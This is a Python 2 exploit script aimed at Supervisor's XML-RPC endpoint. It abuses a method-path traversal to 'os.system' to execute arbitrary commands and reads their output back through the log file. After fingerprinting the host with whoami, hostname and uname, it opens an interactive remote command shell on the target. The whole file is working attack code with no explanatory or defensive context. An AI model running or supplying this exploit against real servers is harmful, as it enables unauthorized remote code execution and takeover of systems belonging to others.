import os
import sys
import urllib
import urllib2
import re

target_url = ""
cmd = ""
log_file = "/tmp/supervisord.log"
prompt = ""
target_hostname = ""
target_user = ""

if len(sys.argv) < 2:
    print "\nUsage: python "+sys.argv[0]+" http://host:9001\n"
    sys.exit()

target_url = sys.argv[1]

# get logfile path
def generate_get_logfile_body():
    crlf = '\r\n'
    body = []
    body.append('<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.logfile.strip</methodName></methodCall>')
    body = crlf.join(body)
    return body

# generate the request body of the command needed to execute
def generate_execute_cmd_body(cmd, log_file):
    crlf = '\r\n'
    body = []
    body.append('<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><string>{0} > {1}</string></param></params></methodCall>'.format(cmd, log_file))
    body = crlf.join(body)
    return body

# generate the request body of the result of command executed
def generate_read_cmd_result_body():
    crlf = '\r\n'
    body = []
    body.append('<?xml version="1.0"?><methodCall><methodName>supervisor.readLog</methodName><params><param><string>0</string></param><param><string>0</string></param></params></methodCall>')
    body = crlf.join(body)
    return body

# body = generate_get_logfile_body()
req = urllib2.Request(target_url)
req.add_header('User-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)')
req.add_header('Content-Type', "application/x-www-form-urlencoded")
# req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', '*/*')

# test the connectivity of target
try:
    urllib2.urlopen(req).read()
except urllib2.HTTPError, e:
    err = e.fp.read()
    print err
    sys.exit()

# get logfile path
body = generate_get_logfile_body()
req = urllib2.Request(target_url+"/RPC2", body)
log_file = ''.join(re.findall(r"<value><string>([\s\S]*)</string></value>", urllib2.urlopen(req).read()))

# get current user
body = generate_execute_cmd_body("whoami", log_file)
req = urllib2.Request(target_url+"/RPC2", body)
urllib2.urlopen(req).read()
body = generate_read_cmd_result_body()
req = urllib2.Request(target_url+"/RPC2", body)
target_user = re.findall(r"<value><string>([\s\S]*)</string></value>", urllib2.urlopen(req).read())[0].split('\n')[0]

# get host name
body = generate_execute_cmd_body("hostname", log_file)
req = urllib2.Request(target_url+"/RPC2", body)
urllib2.urlopen(req).read()
body = generate_read_cmd_result_body()
req = urllib2.Request(target_url+"/RPC2", body)
target_hostname = re.findall(r"<value><string>([\s\S]*)</string></value>", urllib2.urlopen(req).read())[0].split('\n')[0]

# execute "uname -a"
body = generate_execute_cmd_body("uname -a", log_file)
req = urllib2.Request(target_url+"/RPC2", body)
urllib2.urlopen(req).read()
body = generate_read_cmd_result_body()
req = urllib2.Request(target_url+"/RPC2", body)
print ''.join(re.findall(r"<value><string>([\s\S]*)</string></value>", urllib2.urlopen(req).read()))

# get a shell
while True:
    cmd = str(raw_input("{0}@{1}$ ".format(target_user, target_hostname)))
    if cmd=="return":
        break
    if cmd=="exit":
        sys.exit()
    body = generate_execute_cmd_body(cmd, log_file)
    req = urllib2.Request(target_url+"/RPC2", body)
    urllib2.urlopen(req).read()
    body = generate_read_cmd_result_body()
    req = urllib2.Request(target_url+"/RPC2", body)
    print ''.join(re.findall(r"<value><string>([\s\S]*)</string></value>", urllib2.urlopen(req).read()))



